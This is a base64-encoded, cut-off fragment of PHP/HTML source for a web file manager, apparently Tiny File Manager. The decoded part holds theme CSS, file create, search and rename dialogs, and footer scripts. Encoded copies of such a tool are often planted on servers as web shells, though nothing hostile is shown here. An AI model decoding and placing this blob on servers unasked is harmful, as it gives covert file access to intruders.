ICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9